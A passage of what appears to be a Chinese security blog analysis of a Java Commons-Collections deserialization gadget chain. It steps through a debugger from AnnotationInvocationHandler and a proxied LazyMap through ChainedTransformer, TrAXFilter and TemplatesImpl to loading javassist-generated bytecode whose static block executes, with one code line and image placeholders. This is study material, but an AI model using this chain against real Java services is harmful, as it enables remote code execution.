InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

这里看过p神的文章应该挺熟悉的

  • 我们如果将AnnotationInvocationHandler对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke方法中,进而触发我们的LazyMap#get
    AnnotationInvocationHandler是调用处理器,outerMap是被代理的对象,只要调用了LazyMap中的任意方法,就会触发AnnotationInvocationHandler中的invoke方法;

而在readObject方法中调用了entrySet()方法,所以触发invoke

图片

在invoke方法中就调用了get方法

图片

这样就基本上达到了执行命令所需要的条件

POC调试

this.memberValues参数值为LazyMap,调用了它的entrySet方法,触发到invoke方法;

图片

跟进get方法,factory参数为ChainedTransformer的实例化对象,这里调用了它的transform方法

图片

跟进到ChainedTransformer.transform(),对transformers[]数组进行循环

图片

跟进它的transform方法,input参数值为TrAXFilteriParamTypes参数值为TemplatesiArgs参数值为TemplatesImpl的实例化对象templates,return了TrAXFilter类对象

图片

getConstructor(iParamTypes)获取它参数为Templates类的构造方法时,调用了TransformerImpl的newTransformer()

图片

跟进newTransformer(),调用了getTransletInstance()方法

图片

跟进,_name参数值为我们传入的blckder02,进入第二个if,_class参数值为null,_bytecodes参数值为用javassit创建的类的字节码;

最后实例化_class[_transletIndex]

图片

执行static中的代码